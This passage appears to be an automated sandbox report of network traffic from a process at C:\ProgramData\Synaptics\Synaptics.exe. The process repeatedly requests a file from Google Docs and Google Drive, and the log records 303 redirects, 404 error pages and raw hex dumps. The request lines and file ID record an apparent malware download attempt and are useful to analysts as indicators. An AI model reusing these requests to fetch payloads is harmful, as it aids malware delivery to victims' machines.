2024-08-05 10:00:29 UTC	1592	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 50 57 37 58 51 32 38 47 4c 36 56 43 74 49 4e 55 57 53 4e 5a 70 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PW7XQ28GL6VCtINUWSNZpQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-08-05 10:00:29 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49726	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:30 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49727	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:30 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49725	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:30 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=lig-sOBGA5TB7ptWnULGu1d760cSxC6z3TKjFJn9UuDYxqyyzp4bJv8lnAvwbOR4cOX2rNdoXQ_R9QlW6hdoDGikJ069ZPuivs0Ad9eBupUSNqX6j-igI3ec6lzbgsBEPZw3AKR8C9ApKQiNso3LlHZOn0FW-ZbzY0ujqeFO7HQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49728	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:30 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=lig-sOBGA5TB7ptWnULGu1d760cSxC6z3TKjFJn9UuDYxqyyzp4bJv8lnAvwbOR4cOX2rNdoXQ_R9QlW6hdoDGikJ069ZPuivs0Ad9eBupUSNqX6j-igI3ec6lzbgsBEPZw3AKR8C9ApKQiNso3LlHZOn0FW-ZbzY0ujqeFO7HQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49733	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:31 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pv7XYpnSIlWZ-OduCUgrRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49734	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:31 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-y1M0J5s2v51PTDKv3uHFbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49739	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:33 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-i4mk3OVNGTvOODcjVnQ99g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49740	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:33 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-TvUVcd5iweW1xSPmkR_bIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49738	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:33 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:33 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:33 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-U38SyGbVXDmDO6jHQWtyUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nO-KHcX-p-NpVQ9LEEP9_lVuPN5LjC5jDtjP_tASo4GVQYv_2u3BbG0BgjP5Jy_uE7vivKy8AH11g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:33 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:33 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 48 6a 4c 66 53 78 69 6d 71 4e 4f 65 52 37 49 48 2d 36 35 64 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="FHjLfSximqNOeR7IH-65dA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:33 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49742	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:33 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:34 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:33 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-PR5sQCtVKnDhcWFaJeC5xg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nM_IR9vaF3fPfZ_EN_j5VnZzQfVzRKWs2Pg98fBk64jJdI_OLwhWmo0hzUV0rAZWpyZ0CGqYkY6Pg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:34 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 36 61 67 6e 66 66 47 75 48 7a 46 6e 36 62 70 6d 6b 70 62 74 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="T6agnffGuHzFn6bpmkpbtA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49745	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:34 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-e7P7TftSlHgoWwtGTo5IvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49744	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:34 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-szs9h1MQzRYkB60HpxVYsw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49746	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:34 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:34 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:34 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JCRlCFbJ6KZptzwVEPycZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nNrviYlllwjokMC6cFPMJNBgLKKQFqOu2HIPB79hvfgYUbOZoD9xJfDnqlEH5wo0wJ0LOfVyjVbGg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:34 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
